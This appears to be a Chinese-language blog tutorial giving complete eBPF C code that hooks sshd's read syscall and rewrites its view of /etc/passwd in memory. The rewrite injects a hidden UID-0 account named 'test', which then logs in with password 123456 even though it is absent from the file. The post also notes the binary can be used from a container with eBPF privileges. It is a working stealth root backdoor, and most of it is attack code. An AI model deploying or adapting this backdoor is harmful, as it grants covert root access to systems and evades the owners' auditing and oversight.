原理
首先我们要搞清楚ssh登陆的流程
先获取到ssh的pid
然后利用strace
strace -f -p 830
可以看到他打开了/etc/passwd去读取内容
那么我们的思路就很简单,hook ssh进程的read syscall exit,然后篡改返回内容
代码
ebpf
// +build ignore#include "my_def.h"
#include <stdbool.h>
char __license[] SEC("license") = "Dual MIT/GPL";#define TASK_COMM_LEN 16
#define TARGET_NAME "sshd"
#define FILE_NAME "/etc/passwd"
#define CONSTANT_STR "root:x:0:0:root:/root:/bin/bash\n"struct bpf_map_def SEC("maps") openat_map = {.type = BPF_MAP_TYPE_HASH,.key_size = sizeof(int),.value_size = sizeof(int),.max_entries = 256,
};__inline bool is_target( char * target,const char *src,int len) {if (memcmp(target, src, len) == 0) {return true;}return false;
}static __inline int handle_exit_read(struct bpf_raw_tracepoint_args *ctx) {struct pt_regs *regs = (struct pt_regs *)(ctx->args[0]);char *buffer_addr = NULL;bpf_probe_read(&buffer_addr , sizeof(buffer_addr) , ®s->si);char content[sizeof(CONSTANT_STR)]={0};bpf_probe_read_str(&content,sizeof(content),buffer_addr);if (is_target(content,CONSTANT_STR,sizeof(CONSTANT_STR))){char PAYLOAD[]="root:x:0:0:root:/root:/bin/bash\ntest:$6$7p31yPiD$xLKWF5uIeS6oibSO2nwDlSQEjrzgPEFcRkSVTCEaeoxibJnXjC5NOmTVC/dLvuSHBrVt8tknWaPZ/65PECL0C1:0:0::/root:/bin/sh\n";bpf_probe_write_user((char *)(buffer_addr), PAYLOAD, sizeof(PAYLOAD)-1);// char content2[200]={0};// bpf_probe_read_str(&content2,sizeof(content2),buffer_addr);// char fmt[] = "content:%s\n";// bpf_trace_printk(fmt,sizeof(fmt), content2);}return 0;} SEC("raw_tracepoint/sys_exit")
int raw_tp_sys_exit(struct bpf_raw_tracepoint_args *ctx) {char comm[TASK_COMM_LEN] = {0};bpf_get_current_comm(&comm, sizeof(comm));if(!is_target(comm,TARGET_NAME,sizeof(TARGET_NAME))) return 0;struct pt_regs *regs = (struct pt_regs *)(ctx->args[0]);int syscall_id;bpf_probe_read(&syscall_id, sizeof(syscall_id) , ®s->orig_ax);//这里一定要用orig_ax,因为现在的rax值已经被修改switch(syscall_id){case 0:handle_exit_read(ctx);break;//read syscalldefault:break;}return 0;
}
代码逻辑比较简单。就是先获取进程名,判断是否为sshd, 然后判断syscall_id是否是read, 最后我用了比较粗暴的方法,匹配内容是否是/etc/passwd通用的第一行,然后覆盖返回结果
效果
可以看到无test用户
但是可以通过 test 123456直接登陆
当然如果关掉ebpf的程序是无法登陆的
当然我们可以把编译好的二进制的文件放到具有ebpf权限的容器里面,也是可以利用的